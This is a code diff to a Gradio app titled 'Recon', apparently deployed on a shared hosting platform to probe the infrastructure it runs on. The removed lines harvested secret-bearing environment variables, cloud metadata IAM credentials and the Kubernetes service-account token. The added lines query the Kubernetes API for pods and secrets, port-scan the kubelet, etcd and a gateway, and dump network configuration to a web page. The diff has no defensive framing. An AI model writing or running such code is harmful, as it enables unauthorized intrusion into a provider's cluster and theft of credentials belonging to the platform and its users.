deeper k8s probe

app.py

@@ -2,26 +2,70 @@ import os,subprocess,json,socket,gradio as gr
 
 def recon():
     r={}
-    r["env"]={k:v for k,v in sorted(os.environ.items()) if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_"])}
-    r["env_keys"]=sorted(os.environ.keys())
-    for name,url in [("aws","http://169.254.169.254/latest/meta-data/"),("aws_iam","http://169.254.169.254/latest/meta-data/iam/security-credentials/"),("gcp","http://metadata.google.internal/computeMetadata/v1/")]:
+    
+    # Get K8s service info from env
+    k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
+    k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
+    r["k8s_env"] = {k:v for k,v in os.environ.items() if "KUBERNETES" in k}
+    
+    # Try K8s API
+    if k8s_host:
+        for path in ["/version", "/api", "/api/v1/namespaces", "/api/v1/pods", "/api/v1/secrets", "/apis", "/healthz"]:
+            try:
+                url = f"https://{k8s_host}:{k8s_port}{path}"
+                p = subprocess.run(["curl","-sk","-m","3",url], capture_output=True, text=True, timeout=5)
+                r[f"k8s{path}"] = p.stdout[:500] if p.stdout else f"empty rc={p.returncode}"
+            except Exception as e: r[f"k8s{path}"] = str(e)
+    
+    # Probe internal network on common ports
+    r["port_scan"] = {}
+    targets = [
+        (k8s_host, 443, "k8s_api"),
+        (k8s_host, 10250, "kubelet"),
+        (k8s_host, 2379, "etcd"),
+        ("10.0.0.1", 80, "gateway"),
+        ("10.0.0.1", 443, "gateway_https"),
+    ]
+    for host, port, name in targets:
+        if not host: continue
         try:
-            p=subprocess.run(["curl","-s","-m","3",url],capture_output=True,text=True,timeout=5)
-            r[name]=p.stdout[:500] if p.stdout else f"empty rc={p.returncode}"
-        except Exception as e: r[name]=str(e)
-    for h in ["cas-server.xethub.hf.co","kubernetes.default.svc","metadata.google.internal"]:
-        try: r[f"dns_{h}"]=socket.gethostbyname(h)
-        except Exception as e: r[f"dns_{h}"]=str(e)
-    t=os.environ.get("HF_TOKEN","")
-    if t:
-        try:
-            p=subprocess.run(["curl","-s","-m","5","https://huggingface.co/api/whoami-v2","-H",f"Authorization: Bearer {t}"],capture_output=True,text=True,timeout=10)
-            r["whoami"]=json.loads(p.stdout) if p.stdout else "empty"
-        except Exception as e: r["whoami"]=str(e)
-    for p in ["/etc/hostname","/proc/1/cgroup","/var/run/secrets/kubernetes.io/serviceaccount/token"]:
-        try:
-            with open(p) as f: r[f"fs_{p}"]=f.read()[:300]
-        except Exception as e: r[f"fs_{p}"]=str(e)
-    return json.dumps(r,indent=2)
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(2)
+            rc = s.connect_ex((host, port))
+            r["port_scan"][f"{name}({host}:{port})"] = "OPEN" if rc == 0 else f"CLOSED rc={rc}"
+            s.close()
+        except Exception as e: r["port_scan"][f"{name}({host}:{port})"] = str(e)
+    
+    # Check iptables/network restrictions
+    try:
+        p = subprocess.run(["curl","-sv","-m","3","http://169.254.169.254/"], capture_output=True, text=True, timeout=5)
+        r["metadata_verbose"] = {"stdout": p.stdout[:200], "stderr": p.stderr[:300]}
+    except Exception as e: r["metadata_verbose"] = str(e)
+    
+    # Check /proc/net/tcp for listening sockets
+    try:
+        with open("/proc/net/tcp") as f:
+            r["listening_sockets"] = f.read()[:500]
+    except Exception as e: r["listening_sockets"] = str(e)
+    
+    # Check /etc/resolv.conf for DNS config
+    try:
+        with open("/etc/resolv.conf") as f:
+            r["resolv_conf"] = f.read()
+    except Exception as e: r["resolv_conf"] = str(e)
+    
+    # Check /etc/hosts
+    try:
+        with open("/etc/hosts") as f:
+            r["hosts"] = f.read()
+    except Exception as e: r["hosts"] = str(e)
+    
+    # Scan for other pods on the same network
+    try:
+        p = subprocess.run(["ip","addr"], capture_output=True, text=True, timeout=5)
+        r["ip_addr"] = p.stdout[:500]
+    except Exception as e: r["ip_addr"] = str(e)
+    
+    return json.dumps(r, indent=2)
 
-gr.Interface(fn=recon,inputs=None,outputs="text",title="Recon").launch()
+gr.Interface(fn=recon, inputs=None, outputs="text", title="Recon v2").launch()